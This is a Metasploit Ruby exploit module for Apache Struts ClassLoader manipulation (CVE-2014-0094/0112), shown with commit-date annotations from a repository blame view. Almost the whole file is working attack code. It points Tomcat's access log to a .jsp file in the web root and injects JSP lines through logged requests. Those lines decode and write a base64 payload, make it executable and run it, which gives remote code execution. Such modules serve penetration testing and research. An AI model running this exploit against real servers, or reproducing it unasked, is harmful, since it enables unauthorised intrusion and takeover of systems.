Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T

198 lines
6.3 KiB
Ruby
Raw Normal View History

2014-04-29 03:50:45 +02:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
2014-04-29 03:58:04 +02:00
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
2014-04-29 03:50:45 +02:00
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
2014-04-29 03:58:04 +02:00
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
2014-04-29 03:50:45 +02:00
},
'Author' =>
[
2014-04-29 17:36:04 +02:00
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
2014-04-29 03:58:04 +02:00
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
2014-04-29 03:50:45 +02:00
],
'License' => MSF_LICENSE,
'References' =>
[
2014-05-01 15:24:10 -05:00
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
'Platform' => %w{ linux win },
2014-04-29 03:50:45 +02:00
'Targets' =>
[
2014-05-01 15:24:10 -05:00
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
['Windows',
2014-04-29 03:50:45 +02:00
{
2014-05-01 15:24:10 -05:00
'Arch' => ARCH_X86,
'Platform' => 'win'
}
2014-04-29 03:50:45 +02:00
]
],
2014-04-29 03:58:04 +02:00
'DisclosureDate' => 'Mar 06 2014',
2014-05-01 15:24:10 -05:00
'DefaultTarget' => 0))
2014-04-29 03:50:45 +02:00
register_options(
[
Opt::RPORT(8080),
2014-05-01 15:24:10 -05:00
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
2014-04-29 03:50:45 +02:00
], self.class)
end
2014-04-29 03:58:04 +02:00
def exec_cmd(uri, cmd = "")
2014-04-29 03:50:45 +02:00
resp = send_request_cgi({
2014-04-29 03:58:04 +02:00
'uri' => uri+cmd,
2014-04-29 03:50:45 +02:00
'version' => '1.1',
'method' => 'GET',
})
2014-04-29 03:58:04 +02:00
return resp
end
2014-04-29 03:50:45 +02:00
def is_log_flushed(resp, content)
return (resp.headers["Content-Length"] != "0") && (resp.body =~ /#{content}/)
end
2014-04-29 03:58:04 +02:00
def exploit
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
vprint_status("#{peer} - Modifying class loader")
2014-04-29 11:24:17 +02:00
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << ".jsp"
2014-04-29 03:50:45 +02:00
# Wait till the log is created
uri = "/"
uri << jsp_file
created = false
print_status("#{peer} - Waiting for the server to create the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
2014-05-01 20:19:31 +02:00
# Failure. The request timed out or the server went away.
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200
vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}")
created = true
break
end
end
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "No log file was created") unless created
if target['Arch'] == ARCH_JAVA
payload_exe = payload.encoded
else
payload_exe = generate_payload_exe
end
2014-04-29 03:50:45 +02:00
payload_file = rand_text_alphanumeric(4+rand(4))
payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA)
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
2014-04-29 03:50:45 +02:00
2014-04-29 17:36:04 +02:00
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
2014-04-29 03:50:45 +02:00
uri = String.new(datastore['TARGETURI'])
uri << payload_file
2014-04-29 03:50:45 +02:00
vprint_status("#{peer} - Dumping payload into the logfile")
2014-04-29 03:50:45 +02:00
2014-04-29 11:24:17 +02:00
# Commands to be logged
2014-04-29 03:58:04 +02:00
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
exec_cmd(uri, "<% oFile.flush(); %>")
exec_cmd(uri, "<% oFile.close(); %>")
2014-04-29 03:50:45 +02:00
if target['Arch'] != ARCH_JAVA
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
exec_cmd(uri, "<% f.setExecutable(true); %>")
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
end
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
uri = "/"
uri << jsp_file
2014-04-29 03:50:45 +02:00
flushed = false
print_status("#{peer} - Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
2014-05-01 20:19:31 +02:00
# Failure. The request timed out or the server went away.
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && is_log_flushed(res, payload_file)
flushed = true
break
end
end
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA)
2014-04-29 03:50:45 +02:00
end
end